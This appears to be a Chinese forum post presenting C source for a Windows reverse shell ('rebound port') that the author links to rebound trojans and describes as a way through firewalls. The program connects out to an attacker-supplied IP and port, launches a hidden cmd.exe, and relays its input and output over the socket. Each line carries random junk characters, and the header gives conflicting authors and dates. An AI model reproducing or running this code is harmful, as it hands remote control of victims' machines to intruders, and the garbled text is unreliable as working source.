这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8[zux 4<m
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/* ============================== W$g<nhLK
Rebound port in Windows NT Vz(O=w=
By wind,2006/7 zJhG`iWFw
===============================*/ n-/{H4\
#include i(hI\hD
#include 'jr\F2
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#pragma comment(lib,"wsock32.lib") Sn(e@|!G
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void OutputShell(); >5rb4
SOCKET sClient; oCw>b]S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F}/tV7m
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void main(int argc,char **argv) 1{TmK9U
{ =0Z^q0.
WSADATA stWsaData; FaNr}$Pe
int nRet; mBQA~@}
SOCKADDR_IN stSaiClient,stSaiServer; T$p!IRPt
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if(argc != 3) 7+!4pf
{ &:K!$W
printf("Useage:\n\rRebound DestIP DestPort\n"); 2U;6sn*e
return; O;bnyB$
} _"b[UT}m
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WSAStartup(MAKEWORD(2,2),&stWsaData); cym<uh-Wg^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fl8~*\;Xu
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stSaiClient.sin_family = AF_INET; 4 f)B@A-
stSaiClient.sin_port = htons(0); g4Y1*`}2f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m?Tv8-1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %25GplMT
{ d) i:-#Q
printf("Bind Socket Failed!\n"); fV b~j ;
return; >iZ"#1ZL2O
} #(i9G^K
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stSaiServer.sin_family = AF_INET; 0Nvk|uI
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +v!%z(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zb p+b;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K{]9Yo
{ zWN<"[agc
printf("Connect Error!"); O)bc8DyI
return; {`-f<>N3
} dF@m4U@L
OutputShell(); E79'<;K,zs
} Z1 7=g@
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void OutputShell() QD2;JI2
{ 8-s7^*!
char szBuff[1024]; GkOZ=ej
SECURITY_ATTRIBUTES stSecurityAttributes; `#/0q*$
OSVERSIONINFO stOsversionInfo; T[M:%vjYF
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VLdQXNg9W"
STARTUPINFO stStartupInfo; y.iA]Ikz
char *szShell; n<GTc{>Z
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; QfdATK P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &nKb<o
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CyR1.|!@
stSecurityAttributes.lpSecurityDescriptor = 0; ?M<q95pL
stSecurityAttributes.bInheritHandle = TRUE; 3PLYC}Jq
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yi29+T7j4S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UrMEL;@g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Em<B9S
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |~+i=y
stStartupInfo.wShowWindow = SW_HIDE; O`M6=\
stStartupInfo.hStdInput = hReadPipe; [3@Pu.-I+M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D1ep7ykY
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GetVersionEx(&stOsversionInfo); efT@A}sV
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switch(stOsversionInfo.dwPlatformId) w
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{ vtA%^~0
case 1: QWncKE,O$
szShell = "command.com"; yhuzjn
break; ~; V5*t
default: L?Fb}
szShell = "cmd.exe"; ~x-"?K
break; D&dh>Pe1;
} <n;9IU
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QC,LHt?6
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send(sClient,szMsg,77,0); D\4pLm"!v
while(1) Pg''>6w>
{ ^o LMgz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -4;$NiB?
if(lBytesRead) vWs#4JoG
{ ` P,-NVB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O>KrTK-AV
send(sClient,szBuff,lBytesRead,0); (zmLMG(R
} : Yb_
else 2]UwIxzR
{ K!<3|d
lBytesRead=recv(sClient,szBuff,1024,0); 83i;:cn
if(lBytesRead<=0) break; >d9b"T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )wM881_!
} )w_hbU_Pb&
} aA6m5
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return; {0o,2]o!:
}